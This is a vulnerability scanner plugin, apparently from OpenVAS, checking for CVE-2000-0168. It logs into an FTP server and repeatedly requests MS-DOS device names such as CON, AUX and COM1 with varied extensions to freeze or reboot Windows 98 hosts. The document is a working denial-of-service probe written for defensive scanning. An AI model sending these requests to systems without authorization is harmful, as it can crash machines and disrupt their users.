FTP Windows 98 MS/DOS device names DOS

# SPDX-FileCopyrightText: 2001 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# This script is a copy of http_w98_devname_dos.nasl.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.10929");
  script_version("2023-12-20T05:05:58+0000");
  script_tag(name:"last_modification", value:"2023-12-20 05:05:58 +0000 (Wed, 20 Dec 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_cve_id("CVE-2000-0168");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_name("FTP Windows 98 MS/DOS device names DOS");
  script_category(ACT_KILL_HOST);
  script_copyright("Copyright (C) 2001 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "os_detection.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("Host/runs_windows");

  script_xref(name:"URL", value:"https://web.archive.org/web/20080513010322/http://support.microsoft.com/kb/256015");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1043");
  script_xref(name:"URL", value:"http://online.securityfocus.com/archive/1/195054");

  script_tag(name:"solution", value:"Upgrade your system or use a
  FTP server that filters those names out.");

  script_tag(name:"summary", value:"It was possible to freeze or reboot Windows by
  reading a MS/DOS device through FTP, using a file name like CON\CON, AUX.htm or AUX.");

  script_tag(name:"impact", value:"A attacker may use this flaw to make your
  system crash continuously, preventing you from working properly.");

  script_tag(name:"qod_type", value:"remote_probe");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("ftp_func.inc");
include("misc_func.inc");
include("port_service_func.inc");

kb_creds = ftp_get_kb_creds();
login = kb_creds["login"];
pass = kb_creds["pass"];
if (! login) exit(0);

start_denial();

dev[0] = "aux";
dev[1] = "con";
dev[2] = "prn";
dev[3] = "clock$";
dev[4] = "com1";
dev[5] = "com2";
dev[6] = "lpt1";
dev[7] = "lpt2";

ext[0] = ".foo";
ext[1] = ".";
ext[2] = ". . .. ... .. .";
ext[3] = "-";

port = ftp_get_port(default:21);

soc = open_sock_tcp(port);
if (! soc) exit(0);
r = ftp_recv_line(socket: soc);
ftp_close(socket: soc);
if (! r)
{
  exit(0);
}

for (i = 0; dev[i]; i = i + 1)
{
  d = dev[i];
  for (j = 0; ext[j]; j = j + 1)
  {
    e = ext[j];
    if (e == "-")
      name = string(d, "/", d);
    else
      name = string(d, e);
    soc = open_sock_tcp(port);
    if(soc)
    {
      if (ftp_authenticate(socket:soc, user:login, pass:pass))
      {
        port2 = ftp_pasv(socket:soc);
        soc2 = open_sock_tcp(port2, transport:get_port_transport(port));
        req = string("RETR ", name, "\r\n");
        send(socket:soc, data:req);
        if (soc2) close(soc2);
     }
     close(soc);
   }
  }
}

alive = end_denial();
if(!alive)
{
  security_message(port: port);
  set_kb_item( name:"Host/dead", value:TRUE );
  exit(0);
}

r = NULL;
soc = open_sock_tcp(port);
if (soc)
{
  r = ftp_recv_line(socket: soc);
  ftp_close(socket: soc);
}

if (! r)
{
  security_message(port: port);
}